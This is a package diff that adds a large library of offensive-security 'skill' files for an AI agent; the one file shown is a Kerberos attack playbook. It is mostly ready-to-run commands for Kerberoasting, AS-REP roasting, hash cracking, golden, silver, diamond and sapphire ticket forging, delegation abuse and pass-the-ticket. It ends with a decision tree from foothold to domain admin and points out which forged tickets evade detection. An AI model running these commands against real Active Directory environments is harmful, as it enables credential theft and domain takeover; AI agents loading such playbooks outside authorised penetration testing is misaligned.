ineedcodes 1.6.1 → 1.7.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +2 -1
- package/skills/401-403-bypass-techniques/SKILL.md +348 -0
- package/skills/active-directory-acl-abuse/BLOODHOUND_PATHS.md +281 -0
- package/skills/active-directory-acl-abuse/SKILL.md +295 -0
- package/skills/active-directory-certificate-services/ADCS_ESC_MATRIX.md +197 -0
- package/skills/active-directory-certificate-services/SKILL.md +303 -0
- package/skills/active-directory-kerberos-attacks/KERBEROS_ATTACK_CHAINS.md +226 -0
- package/skills/active-directory-kerberos-attacks/SKILL.md +311 -0
- package/skills/ai-ml-security/SKILL.md +425 -0
- package/skills/android-pentesting-tricks/FRIDA_SCRIPTS.md +394 -0
- package/skills/android-pentesting-tricks/SKILL.md +369 -0
- package/skills/anti-debugging-techniques/ANTI_DEBUG_MATRIX.md +117 -0
- package/skills/anti-debugging-techniques/SKILL.md +407 -0
- package/skills/api-auth-and-jwt-abuse/SKILL.md +76 -0
- package/skills/api-authorization-and-bola/SKILL.md +48 -0
- package/skills/api-recon-and-docs/SKILL.md +61 -0
- package/skills/api-sec/SKILL.md +49 -0
- package/skills/arbitrary-write-to-rce/SKILL.md +361 -0
- package/skills/auth-sec/SKILL.md +41 -0
- package/skills/authbypass-authentication-flaws/SKILL.md +441 -0
- package/skills/bba-ad-attacker/SKILL.md +420 -0
- package/skills/bba-api-security/SKILL.md +95 -0
- package/skills/bba-attack-planner/SKILL.md +186 -0
- package/skills/bba-binary-exploit/SKILL.md +65 -0
- package/skills/bba-bizlogic-hunter/SKILL.md +304 -0
- package/skills/bba-bug-bounty/SKILL.md +245 -0
- package/skills/bba-cicd-redteam/SKILL.md +515 -0
- package/skills/bba-cloud-security/SKILL.md +97 -0
- package/skills/bba-container-escape/SKILL.md +161 -0
- package/skills/bba-credential-tester/SKILL.md +346 -0
- package/skills/bba-crypto-analyst/SKILL.md +54 -0
- package/skills/bba-ctf-solver/SKILL.md +166 -0
- package/skills/bba-detection-engineer/SKILL.md +93 -0
- package/skills/bba-engagement-planner/SKILL.md +68 -0
- package/skills/bba-exploit-chainer/SKILL.md +280 -0
- package/skills/bba-exploit-guide/SKILL.md +96 -0
- package/skills/bba-forensics-analyst/SKILL.md +512 -0
- package/skills/bba-graphql-hunter/SKILL.md +145 -0
- package/skills/bba-hardware-hacker/SKILL.md +57 -0
- package/skills/bba-jwt-cracker/SKILL.md +133 -0
- package/skills/bba-llm-redteam/SKILL.md +149 -0
- package/skills/bba-malware-analyst/SKILL.md +305 -0
- package/skills/bba-mobile-pentester/SKILL.md +350 -0
- package/skills/bba-osint-collector/SKILL.md +645 -0
- package/skills/bba-payload-crafter/SKILL.md +347 -0
- package/skills/bba-phishing-operator/SKILL.md +516 -0
- package/skills/bba-poc-validator/SKILL.md +249 -0
- package/skills/bba-privesc-advisor/SKILL.md +98 -0
- package/skills/bba-purple-team/SKILL.md +56 -0
- package/skills/bba-recon-advisor/SKILL.md +215 -0
- package/skills/bba-red-team-operator/SKILL.md +61 -0
- package/skills/bba-report-generator/SKILL.md +145 -0
- package/skills/bba-reverse-engineer/SKILL.md +298 -0
- package/skills/bba-social-engineer/SKILL.md +341 -0
- package/skills/bba-ssrf-hunter/SKILL.md +120 -0
- package/skills/bba-stig-analyst/SKILL.md +108 -0
- package/skills/bba-subdomain-takeover/SKILL.md +141 -0
- package/skills/bba-swarm-orchestrator/SKILL.md +351 -0
- package/skills/bba-threat-modeler/SKILL.md +574 -0
- package/skills/bba-vuln-scanner/SKILL.md +305 -0
- package/skills/bba-web-hunter/SKILL.md +285 -0
- package/skills/bba-wireless-pentester/SKILL.md +539 -0
- package/skills/binary-protection-bypass/PROTECTION_BYPASS_MATRIX.md +168 -0
- package/skills/binary-protection-bypass/SKILL.md +295 -0
- package/skills/browser-exploitation-v8/SKILL.md +334 -0
- package/skills/browser-exploitation-v8/V8_EXPLOITATION_PATTERNS.md +288 -0
- package/skills/business-logic-vuln/SKILL.md +33 -0
- package/skills/business-logic-vulnerabilities/CHECKLIST.md +375 -0
- package/skills/business-logic-vulnerabilities/METHODOLOGY.md +337 -0
- package/skills/business-logic-vulnerabilities/SCENARIOS.md +1095 -0
- package/skills/business-logic-vulnerabilities/SKILL.md +711 -0
- package/skills/classical-cipher-analysis/SKILL.md +663 -0
- package/skills/clickjacking/SKILL.md +163 -0
- package/skills/cmdi-command-injection/SKILL.md +687 -0
- package/skills/code-obfuscation-deobfuscation/SKILL.md +391 -0
- package/skills/container-escape-techniques/DOCKER_ESCAPE_CHAINS.md +296 -0
- package/skills/container-escape-techniques/SKILL.md +339 -0
- package/skills/cors-cross-origin-misconfiguration/SCENARIOS.md +152 -0
- package/skills/cors-cross-origin-misconfiguration/SKILL.md +270 -0
- package/skills/crlf-injection/SKILL.md +179 -0
- package/skills/csp-bypass-advanced/SKILL.md +259 -0
- package/skills/csrf-cross-site-request-forgery/SKILL.md +526 -0
- package/skills/csv-formula-injection/SKILL.md +144 -0
- package/skills/dangling-markup-injection/SKILL.md +321 -0
- package/skills/defi-attack-patterns/SKILL.md +355 -0
- package/skills/dependency-confusion/SKILL.md +178 -0
- package/skills/deserialization-insecure/JAVA_GADGET_CHAINS.md +511 -0
- package/skills/deserialization-insecure/SKILL.md +725 -0
- package/skills/dns-rebinding-attacks/SKILL.md +337 -0
- package/skills/email-header-injection/SKILL.md +349 -0
- package/skills/expression-language-injection/SKILL.md +243 -0
- package/skills/file-access-vuln/SKILL.md +33 -0
- package/skills/format-string-exploitation/SKILL.md +312 -0
- package/skills/ghost-bits-cast-attack/PAYLOAD_COOKBOOK.md +448 -0
- package/skills/ghost-bits-cast-attack/SKILL.md +799 -0
- package/skills/graphql-and-hidden-parameters/SKILL.md +50 -0
- package/skills/hack/SKILL.md +162 -0
- package/skills/hash-attack-techniques/SKILL.md +491 -0
- package/skills/heap-exploitation/HOUSE_OF_TECHNIQUES.md +244 -0
- package/skills/heap-exploitation/IO_FILE_EXPLOITATION.md +256 -0
- package/skills/heap-exploitation/SKILL.md +217 -0
- package/skills/http-host-header-attacks/SKILL.md +323 -0
- package/skills/http-parameter-pollution/SKILL.md +208 -0
- package/skills/http2-specific-attacks/SKILL.md +350 -0
- package/skills/idor-broken-object-authorization/SKILL.md +336 -0
- package/skills/injection-checking/EXTRA_INJECTION_TYPES.md +450 -0
- package/skills/injection-checking/SKILL.md +50 -0
- package/skills/insecure-source-code-management/SKILL.md +161 -0
- package/skills/ios-pentesting-tricks/IOS_RUNTIME_TRICKS.md +411 -0
- package/skills/ios-pentesting-tricks/SKILL.md +418 -0
- package/skills/jndi-injection/SKILL.md +265 -0
- package/skills/jwt-oauth-token-attacks/SKILL.md +301 -0
- package/skills/kernel-exploitation/KERNEL_HEAP_TECHNIQUES.md +293 -0
- package/skills/kernel-exploitation/KERNEL_MITIGATION_BYPASS.md +224 -0
- package/skills/kernel-exploitation/SKILL.md +307 -0
- package/skills/kubernetes-pentesting/SKILL.md +348 -0
- package/skills/lattice-crypto-attacks/SKILL.md +497 -0
- package/skills/linux-lateral-movement/SKILL.md +348 -0
- package/skills/linux-privilege-escalation/KERNEL_EXPLOITS_CHECKLIST.md +260 -0
- package/skills/linux-privilege-escalation/SKILL.md +346 -0
- package/skills/linux-privilege-escalation/SUID_CAPABILITIES_TRICKS.md +305 -0
- package/skills/linux-security-bypass/SKILL.md +345 -0
- package/skills/llm-prompt-injection/JAILBREAK_PATTERNS.md +306 -0
- package/skills/llm-prompt-injection/SKILL.md +357 -0
- package/skills/macos-process-injection/DYLIB_XPC_TECHNIQUES.md +373 -0
- package/skills/macos-process-injection/SKILL.md +384 -0
- package/skills/macos-security-bypass/SKILL.md +337 -0
- package/skills/macos-security-bypass/TCC_BYPASS_MATRIX.md +200 -0
- package/skills/memory-forensics-volatility/SKILL.md +323 -0
- package/skills/memory-forensics-volatility/VOLATILITY_CHEATSHEET.md +225 -0
- package/skills/mobile-ssl-pinning-bypass/SKILL.md +531 -0
- package/skills/network-protocol-attacks/NAME_RESOLUTION_POISONING.md +226 -0
- package/skills/network-protocol-attacks/SKILL.md +330 -0
- package/skills/nosql-injection/SKILL.md +341 -0
- package/skills/ntlm-relay-coercion/COERCION_METHODS.md +253 -0
- package/skills/ntlm-relay-coercion/SKILL.md +267 -0
- package/skills/oauth-oidc-misconfiguration/SKILL.md +46 -0
- package/skills/open-redirect/SKILL.md +380 -0
- package/skills/path-traversal-lfi/SKILL.md +802 -0
- package/skills/prototype-pollution/SKILL.md +190 -0
- package/skills/prototype-pollution-advanced/KNOWN_GADGETS.md +253 -0
- package/skills/prototype-pollution-advanced/SKILL.md +338 -0
- package/skills/race-condition/SKILL.md +526 -0
- package/skills/recon-and-methodology/SKILL.md +389 -0
- package/skills/recon-for-sec/SKILL.md +29 -0
- package/skills/request-smuggling/H2_SMUGGLING_VARIANTS.md +498 -0
- package/skills/request-smuggling/SKILL.md +314 -0
- package/skills/reverse-shell-techniques/SHELL_CHEATSHEET.md +196 -0
- package/skills/reverse-shell-techniques/SKILL.md +290 -0
- package/skills/rsa-attack-techniques/RSA_ATTACK_CATALOG.md +432 -0
- package/skills/rsa-attack-techniques/SKILL.md +437 -0
- package/skills/saml-sso-assertion-attacks/SKILL.md +41 -0
- package/skills/sandbox-escape-techniques/PYTHON_SANDBOX_ESCAPE.md +349 -0
- package/skills/sandbox-escape-techniques/SECCOMP_BYPASS.md +332 -0
- package/skills/sandbox-escape-techniques/SKILL.md +250 -0
- package/skills/smart-contract-vulnerabilities/SKILL.md +314 -0
- package/skills/smart-contract-vulnerabilities/SOLIDITY_VULN_PATTERNS.md +460 -0
- package/skills/sqli-sql-injection/SCENARIOS.md +575 -0
- package/skills/sqli-sql-injection/SKILL.md +489 -0
- package/skills/sqli-sql-injection/SQLMAP_ADVANCED.md +642 -0
- package/skills/ssrf-server-side-request-forgery/SCENARIOS.md +226 -0
- package/skills/ssrf-server-side-request-forgery/SKILL.md +323 -0
- package/skills/ssrf-server-side-request-forgery/URL_PARSER_TRICKS.md +650 -0
- package/skills/ssti-server-side-template-injection/ENGINE_PAYLOADS.md +456 -0
- package/skills/ssti-server-side-template-injection/SCENARIOS.md +319 -0
- package/skills/ssti-server-side-template-injection/SKILL.md +344 -0
- package/skills/stack-overflow-and-rop/ROP_ADVANCED_TECHNIQUES.md +249 -0
- package/skills/stack-overflow-and-rop/SKILL.md +304 -0
- package/skills/steganography-techniques/SKILL.md +348 -0
- package/skills/steganography-techniques/STEGO_TOOLS_GUIDE.md +335 -0
- package/skills/subdomain-takeover/SKILL.md +247 -0
- package/skills/symbolic-execution-tools/ANGR_COOKBOOK.md +437 -0
- package/skills/symbolic-execution-tools/SKILL.md +419 -0
- package/skills/symmetric-cipher-attacks/BLOCK_CIPHER_ATTACKS.md +364 -0
- package/skills/symmetric-cipher-attacks/SKILL.md +462 -0
- package/skills/traffic-analysis-pcap/SKILL.md +341 -0
- package/skills/tunneling-and-pivoting/SKILL.md +343 -0
- package/skills/type-juggling/SKILL.md +291 -0
- package/skills/unauthorized-access-common-services/PORT_SERVICE_MATRIX.md +340 -0
- package/skills/unauthorized-access-common-services/SKILL.md +388 -0
- package/skills/upload-insecure-files/SCENARIOS.md +158 -0
- package/skills/upload-insecure-files/SKILL.md +543 -0
- package/skills/vm-and-bytecode-reverse/SKILL.md +450 -0
- package/skills/vr-cheatsheet-authentication_bypass/SKILL.md +184 -0
- package/skills/vr-cheatsheet-dangerous_functions/SKILL.md +200 -0
- package/skills/vr-cheatsheet-linux_commands/SKILL.md +40 -0
- package/skills/vr-cheatsheet-rce/SKILL.md +177 -0
- package/skills/vr-cheatsheet-reverse_engineering/SKILL.md +144 -0
- package/skills/vr-cheatsheet-sqli/SKILL.md +270 -0
- package/skills/vr-cheatsheet-ssrf/SKILL.md +173 -0
- package/skills/vr-cheatsheet-xss/SKILL.md +177 -0
- package/skills/vr-methodology-mindset_and_tips/SKILL.md +51 -0
- package/skills/vr-template-vulnerability_report_template/SKILL.md +59 -0
- package/skills/vr-writeup-CVE-2026-9136/SKILL.md +171 -0
- package/skills/vr-writeup-ZVE-2026-3795/SKILL.md +350 -0
- package/skills/vr-writeup-api_key_leak/SKILL.md +103 -0
- package/skills/waf-bypass-techniques/SKILL.md +290 -0
- package/skills/waf-bypass-techniques/WAF_PRODUCT_MATRIX.md +202 -0
- package/skills/web-cache-deception/CACHE_POISONING_TECHNIQUES.md +637 -0
- package/skills/web-cache-deception/SKILL.md +222 -0
- package/skills/websocket-security/SKILL.md +454 -0
- package/skills/windows-av-evasion/AMSI_BYPASS_TECHNIQUES.md +289 -0
- package/skills/windows-av-evasion/SKILL.md +342 -0
- package/skills/windows-lateral-movement/CREDENTIAL_DUMPING.md +308 -0
- package/skills/windows-lateral-movement/SKILL.md +335 -0
- package/skills/windows-privilege-escalation/SKILL.md +328 -0
- package/skills/windows-privilege-escalation/TOKEN_POTATO_TRICKS.md +216 -0
- package/skills/windows-privilege-escalation/UAC_BYPASS_METHODS.md +225 -0
- package/skills/xslt-injection/SKILL.md +281 -0
- package/skills/xss-cross-site-scripting/ADVANCED_XSS_TRICKS.md +276 -0
- package/skills/xss-cross-site-scripting/SCENARIOS.md +278 -0
- package/skills/xss-cross-site-scripting/SKILL.md +379 -0
- package/skills/xxe-xml-external-entity/SCENARIOS.md +112 -0
- package/skills/xxe-xml-external-entity/SKILL.md +554 -0
- package/src/agent.js +1 -1
- package/src/session.js +6 -3
- package/src/skills.js +30 -6
- package/src/ui.js +1 -1
|
@@ -0,0 +1,311 @@
|
|
|
1
|
+
---
|
|
2
|
+
name: active-directory-kerberos-attacks
|
|
3
|
+
description: >-
|
|
4
|
+
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets, delegation abuse, or pass-the-ticket attacks.gated: true
|
|
5
|
+
---
|
|
6
|
+
|
|
7
|
+
# SKILL: Kerberos Attack Playbook — Expert AD Attack Guide
|
|
8
|
+
|
|
9
|
+
> **AI LOAD INSTRUCTION**: Expert Kerberos attack techniques for AD environments. Covers AS-REP roasting, Kerberoasting, golden/silver/diamond/sapphire tickets, delegation attacks, pass-the-ticket, and overpass-the-hash. Base models miss ticket type distinctions, delegation chain nuances, and detection-evasion trade-offs.
|
|
10
|
+
|
|
11
|
+
## 0. RELATED ROUTING
|
|
12
|
+
|
|
13
|
+
Before going deep, consider loading:
|
|
14
|
+
|
|
15
|
+
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based AD attacks often chained with Kerberos
|
|
16
|
+
- [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ADCS-based persistence (golden certificate)
|
|
17
|
+
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for NTLM relay attacks that complement Kerberos abuse
|
|
18
|
+
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) after obtaining tickets for lateral movement
|
|
19
|
+
|
|
20
|
+
### Advanced Reference
|
|
21
|
+
|
|
22
|
+
Also load [KERBEROS_ATTACK_CHAINS.md](./KERBEROS_ATTACK_CHAINS.md) when you need:
|
|
23
|
+
- Multi-step attack chains combining Kerberos with ACL abuse, ADCS, and relay
|
|
24
|
+
- End-to-end scenarios from foothold to domain admin
|
|
25
|
+
- Chained delegation attack flows
|
|
26
|
+
|
|
27
|
+
---
|
|
28
|
+
|
|
29
|
+
## 1. KERBEROS AUTHENTICATION PRIMER
|
|
30
|
+
|
|
31
|
+
```
|
|
32
|
+
Client KDC (DC) Service
|
|
33
|
+
│ │ │
|
|
34
|
+
│── AS-REQ ────────→│ │ (1) Request TGT with user creds
|
|
35
|
+
│←─ AS-REP ─────────│ │ (2) Receive TGT (encrypted with krbtgt hash)
|
|
36
|
+
│ │ │
|
|
37
|
+
│── TGS-REQ ───────→│ │ (3) Present TGT, request service ticket
|
|
38
|
+
│←─ TGS-REP ────────│ │ (4) Receive TGS (encrypted with service hash)
|
|
39
|
+
│ │ │
|
|
40
|
+
│── AP-REQ ─────────────────────────────→│ (5) Present TGS to service
|
|
41
|
+
│←─ AP-REP ──────────────────────────────│ (6) Mutual auth (optional)
|
|
42
|
+
```
|
|
43
|
+
|
|
44
|
+
---
|
|
45
|
+
|
|
46
|
+
## 2. AS-REP ROASTING
|
|
47
|
+
|
|
48
|
+
Users with "Do not require Kerberos preauthentication" can be queried for AS-REP without knowing their password.
|
|
49
|
+
|
|
50
|
+
### Enumerate Vulnerable Users
|
|
51
|
+
|
|
52
|
+
```bash
|
|
53
|
+
# Impacket — from Linux
|
|
54
|
+
GetNPUsers.py DOMAIN/ -usersfile users.txt -dc-ip DC_IP -format hashcat -outputfile asrep.txt
|
|
55
|
+
|
|
56
|
+
# Impacket — with domain creds (enumerate automatically)
|
|
57
|
+
GetNPUsers.py DOMAIN/user:password -dc-ip DC_IP -request
|
|
58
|
+
|
|
59
|
+
# Rubeus — from Windows (domain-joined)
|
|
60
|
+
Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt
|
|
61
|
+
|
|
62
|
+
# PowerView — enumerate users
|
|
63
|
+
Get-DomainUser -PreauthNotRequired | Select-Object samaccountname
|
|
64
|
+
```
|
|
65
|
+
|
|
66
|
+
### Crack AS-REP Hash
|
|
67
|
+
|
|
68
|
+
```bash
|
|
69
|
+
# Hashcat mode 18200
|
|
70
|
+
hashcat -m 18200 asrep.txt rockyou.txt --rules-file best64.rule
|
|
71
|
+
|
|
72
|
+
# John
|
|
73
|
+
john asrep.txt --wordlist=rockyou.txt
|
|
74
|
+
```
|
|
75
|
+
|
|
76
|
+
---
|
|
77
|
+
|
|
78
|
+
## 3. KERBEROASTING
|
|
79
|
+
|
|
80
|
+
Any domain user can request TGS for accounts with SPNs. The TGS is encrypted with the service account's NTLM hash.
|
|
81
|
+
|
|
82
|
+
### Request Service Tickets
|
|
83
|
+
|
|
84
|
+
```bash
|
|
85
|
+
# Impacket
|
|
86
|
+
GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request -outputfile tgs.txt
|
|
87
|
+
|
|
88
|
+
# Rubeus (from Windows)
|
|
89
|
+
Rubeus.exe kerberoast /outfile:tgs.txt
|
|
90
|
+
|
|
91
|
+
# Rubeus — target specific SPN / high-value accounts
|
|
92
|
+
Rubeus.exe kerberoast /user:svc_sql /outfile:tgs_sql.txt
|
|
93
|
+
|
|
94
|
+
# PowerView + manual request
|
|
95
|
+
Get-DomainUser -SPN | Select-Object samaccountname,serviceprincipalname
|
|
96
|
+
Add-Type -AssemblyName System.IdentityModel
|
|
97
|
+
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/db.domain.com"
|
|
98
|
+
```
|
|
99
|
+
|
|
100
|
+
### Crack TGS Hash
|
|
101
|
+
|
|
102
|
+
```bash
|
|
103
|
+
# Hashcat mode 13100 (RC4) or 19700 (AES)
|
|
104
|
+
hashcat -m 13100 tgs.txt rockyou.txt --rules-file best64.rule
|
|
105
|
+
|
|
106
|
+
# RC4 tickets crack much faster than AES256 — target RC4 if possible
|
|
107
|
+
# Rubeus: /tgtdeleg forces RC4 on some configs
|
|
108
|
+
Rubeus.exe kerberoast /tgtdeleg
|
|
109
|
+
```
|
|
110
|
+
|
|
111
|
+
---
|
|
112
|
+
|
|
113
|
+
## 4. TICKET FORGING — GOLDEN, SILVER, DIAMOND, SAPPHIRE
|
|
114
|
+
|
|
115
|
+
### Golden Ticket
|
|
116
|
+
|
|
117
|
+
Forge TGT using the `krbtgt` hash → impersonate any user, including non-existent ones.
|
|
118
|
+
|
|
119
|
+
```bash
|
|
120
|
+
# Impacket — forge golden ticket
|
|
121
|
+
ticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM administrator
|
|
122
|
+
|
|
123
|
+
# Mimikatz
|
|
124
|
+
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /krbtgt:KRBTGT_HASH /ptt
|
|
125
|
+
|
|
126
|
+
# Rubeus
|
|
127
|
+
Rubeus.exe golden /rc4:KRBTGT_HASH /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /ptt
|
|
128
|
+
```
|
|
129
|
+
|
|
130
|
+
**Prerequisites**: krbtgt NTLM hash (from DCSync or NTDS.dit)
|
|
131
|
+
**Persistence**: Valid until krbtgt password is changed **twice**
|
|
132
|
+
|
|
133
|
+
### Silver Ticket
|
|
134
|
+
|
|
135
|
+
Forge TGS using the service account's hash → access specific service only, no KDC interaction.
|
|
136
|
+
|
|
137
|
+
```bash
|
|
138
|
+
# Impacket — forge silver ticket for CIFS (file share)
|
|
139
|
+
ticketer.py -nthash SERVICE_HASH -domain-sid S-1-5-21-... -domain DOMAIN.COM -spn cifs/target.domain.com administrator
|
|
140
|
+
|
|
141
|
+
# Mimikatz
|
|
142
|
+
kerberos::golden /user:administrator /domain:DOMAIN.COM /sid:S-1-5-21-... /target:target.domain.com /service:cifs /rc4:SERVICE_HASH /ptt
|
|
143
|
+
```
|
|
144
|
+
|
|
145
|
+
| Target Service | SPN Format | Use Case |
|
|
146
|
+
|---|---|---|
|
|
147
|
+
| File shares | `cifs/host` | Access SMB shares |
|
|
148
|
+
| WinRM | `http/host` | Remote PowerShell |
|
|
149
|
+
| LDAP | `ldap/dc` | DCSync-like queries |
|
|
150
|
+
| MSSQL | `MSSQLSvc/host:1433` | Database access |
|
|
151
|
+
| Exchange | `http/mail.domain.com` | Mailbox access |
|
|
152
|
+
|
|
153
|
+
### Diamond Ticket
|
|
154
|
+
|
|
155
|
+
Modify a legitimately issued TGT → harder to detect than golden ticket.
|
|
156
|
+
|
|
157
|
+
```bash
|
|
158
|
+
# Rubeus — request real TGT then modify PAC
|
|
159
|
+
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /user:administrator /domain:DOMAIN.COM /dc:DC01.DOMAIN.COM /ticketuser:targetadmin /ticketuserid:500 /groups:512 /ptt
|
|
160
|
+
```
|
|
161
|
+
|
|
162
|
+
**Advantage**: The ticket's metadata (timestamps, enc type) matches a real TGT issuance.
|
|
163
|
+
|
|
164
|
+
### Sapphire Ticket
|
|
165
|
+
|
|
166
|
+
Uses S4U2Self to get a real PAC for the target user, then embeds it in a forged ticket.
|
|
167
|
+
|
|
168
|
+
```bash
|
|
169
|
+
# Rubeus
|
|
170
|
+
Rubeus.exe diamond /krbkey:KRBTGT_AES256 /ticketuser:administrator /ticketuserid:500 /groups:512 /tgtdeleg /ptt
|
|
171
|
+
```
|
|
172
|
+
|
|
173
|
+
**Advantage**: PAC is a genuine copy from KDC, making detection extremely difficult.
|
|
174
|
+
|
|
175
|
+
---
|
|
176
|
+
|
|
177
|
+
## 5. DELEGATION ATTACKS
|
|
178
|
+
|
|
179
|
+
### Unconstrained Delegation
|
|
180
|
+
|
|
181
|
+
Hosts with unconstrained delegation store user TGTs in memory.
|
|
182
|
+
|
|
183
|
+
```bash
|
|
184
|
+
# Enumerate (PowerView)
|
|
185
|
+
Get-DomainComputer -Unconstrained | Select-Object dnshostname
|
|
186
|
+
|
|
187
|
+
# Coerce admin authentication → capture TGT (Rubeus monitor mode)
|
|
188
|
+
Rubeus.exe monitor /interval:5 /nowrap
|
|
189
|
+
|
|
190
|
+
# Trigger via PrinterBug / PetitPotam → DC authenticates → TGT captured
|
|
191
|
+
SpoolSample.exe DC01.domain.com COMPROMISED_HOST.domain.com
|
|
192
|
+
```
|
|
193
|
+
|
|
194
|
+
### Constrained Delegation (S4U2Proxy)
|
|
195
|
+
|
|
196
|
+
```bash
|
|
197
|
+
# Enumerate
|
|
198
|
+
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname,msds-allowedtodelegateto
|
|
199
|
+
|
|
200
|
+
# S4U2Self + S4U2Proxy → get TGS for allowed service as any user
|
|
201
|
+
getST.py -spn cifs/target.domain.com -impersonate administrator DOMAIN/svc_account:password -dc-ip DC_IP
|
|
202
|
+
|
|
203
|
+
# Rubeus
|
|
204
|
+
Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/target.domain.com /ptt
|
|
205
|
+
```
|
|
206
|
+
|
|
207
|
+
### Resource-Based Constrained Delegation (RBCD)
|
|
208
|
+
|
|
209
|
+
Requires write access to `msDS-AllowedToActOnBehalfOfOtherIdentity` on the target.
|
|
210
|
+
|
|
211
|
+
```bash
|
|
212
|
+
# 1. Create or control a computer account (MAQ > 0)
|
|
213
|
+
addcomputer.py -computer-name 'FAKE$' -computer-pass 'P@ss123' -dc-ip DC_IP DOMAIN/user:password
|
|
214
|
+
|
|
215
|
+
# 2. Set RBCD on target
|
|
216
|
+
rbcd.py -delegate-from 'FAKE$' -delegate-to 'TARGET$' -dc-ip DC_IP -action write DOMAIN/user:password
|
|
217
|
+
|
|
218
|
+
# 3. S4U2Self + S4U2Proxy from controlled account
|
|
219
|
+
getST.py -spn cifs/TARGET.DOMAIN.COM -impersonate administrator DOMAIN/'FAKE$':'P@ss123' -dc-ip DC_IP
|
|
220
|
+
|
|
221
|
+
# 4. Use the ticket
|
|
222
|
+
export KRB5CCNAME=administrator.ccache
|
|
223
|
+
psexec.py -k -no-pass DOMAIN/administrator@TARGET.DOMAIN.COM
|
|
224
|
+
```
|
|
225
|
+
|
|
226
|
+
---
|
|
227
|
+
|
|
228
|
+
## 6. PASS-THE-TICKET & OVERPASS-THE-HASH
|
|
229
|
+
|
|
230
|
+
### Pass-the-Ticket
|
|
231
|
+
|
|
232
|
+
```bash
|
|
233
|
+
# Impacket — use .ccache ticket
|
|
234
|
+
export KRB5CCNAME=/path/to/ticket.ccache
|
|
235
|
+
psexec.py -k -no-pass DOMAIN/administrator@target.domain.com
|
|
236
|
+
|
|
237
|
+
# Mimikatz — inject .kirbi ticket into session
|
|
238
|
+
kerberos::ptt ticket.kirbi
|
|
239
|
+
|
|
240
|
+
# Rubeus
|
|
241
|
+
Rubeus.exe ptt /ticket:base64_ticket_blob
|
|
242
|
+
```
|
|
243
|
+
|
|
244
|
+
### Overpass-the-Hash (Pass-the-Key)
|
|
245
|
+
|
|
246
|
+
Use NTLM hash to request a Kerberos TGT → pure Kerberos authentication (avoids NTLM logging).
|
|
247
|
+
|
|
248
|
+
```bash
|
|
249
|
+
# Impacket
|
|
250
|
+
getTGT.py DOMAIN/user -hashes :NTLM_HASH -dc-ip DC_IP
|
|
251
|
+
export KRB5CCNAME=user.ccache
|
|
252
|
+
|
|
253
|
+
# Rubeus (from Windows)
|
|
254
|
+
Rubeus.exe asktgt /user:administrator /rc4:NTLM_HASH /ptt
|
|
255
|
+
|
|
256
|
+
# Mimikatz
|
|
257
|
+
sekurlsa::pth /user:administrator /domain:DOMAIN.COM /ntlm:NTLM_HASH /run:cmd.exe
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
---
|
|
261
|
+
|
|
262
|
+
## 7. KERBEROS DOUBLE HOP PROBLEM
|
|
263
|
+
|
|
264
|
+
When authenticating via Kerberos across two hops (A → B → C), B cannot forward A's credentials to C by default.
|
|
265
|
+
|
|
266
|
+
### Solutions
|
|
267
|
+
|
|
268
|
+
| Method | How | Risk |
|
|
269
|
+
|---|---|---|
|
|
270
|
+
| CredSSP | Sends actual credentials to B | Credential exposure |
|
|
271
|
+
| Unconstrained delegation on B | B stores A's TGT | Over-privileged |
|
|
272
|
+
| Constrained delegation | B allowed to delegate to C | Preferred — scoped |
|
|
273
|
+
| RBCD | C trusts B to delegate | Modern, flexible |
|
|
274
|
+
| Invoke-Command nested | `-Credential` param in nested session | Exposes password in script |
|
|
275
|
+
|
|
276
|
+
---
|
|
277
|
+
|
|
278
|
+
## 8. KERBEROS ATTACK DECISION TREE
|
|
279
|
+
|
|
280
|
+
```
|
|
281
|
+
AD environment — targeting Kerberos
|
|
282
|
+
│
|
|
283
|
+
├── Have domain user creds?
|
|
284
|
+
│ ├── Kerberoast → crack service account hashes (§3)
|
|
285
|
+
│ ├── Enumerate users without preauth → AS-REP roast (§2)
|
|
286
|
+
│ ├── Enumerate delegation → unconstrained/constrained/RBCD (§5)
|
|
287
|
+
│ └── Enumerate SPNs for high-value accounts
|
|
288
|
+
│
|
|
289
|
+
├── Have service account hash?
|
|
290
|
+
│ ├── Silver ticket for that service (§4)
|
|
291
|
+
│ └── If constrained delegation → S4U2Proxy chain (§5)
|
|
292
|
+
│
|
|
293
|
+
├── Have krbtgt hash?
|
|
294
|
+
│ ├── Golden ticket → any user, any service (§4)
|
|
295
|
+
│ ├── Diamond ticket → stealthier forging (§4)
|
|
296
|
+
│ └── Sapphire ticket → hardest to detect (§4)
|
|
297
|
+
│
|
|
298
|
+
├── Compromised host with unconstrained delegation?
|
|
299
|
+
│ ├── Monitor for incoming TGTs (Rubeus monitor)
|
|
300
|
+
│ ├── Coerce DC authentication (PrinterBug/PetitPotam)
|
|
301
|
+
│ └── Capture DC TGT → DCSync
|
|
302
|
+
│
|
|
303
|
+
├── Can write to target's msDS-AllowedToActOnBehalfOfOtherIdentity?
|
|
304
|
+
│ └── RBCD attack (§5) → create machine account + delegate
|
|
305
|
+
│
|
|
306
|
+
├── Have NTLM hash but need Kerberos auth?
|
|
307
|
+
│ └── Overpass-the-Hash → request TGT (§6)
|
|
308
|
+
│
|
|
309
|
+
└── Have .kirbi / .ccache ticket?
|
|
310
|
+
└── Pass-the-Ticket → use directly (§6)
|
|
311
|
+
```
|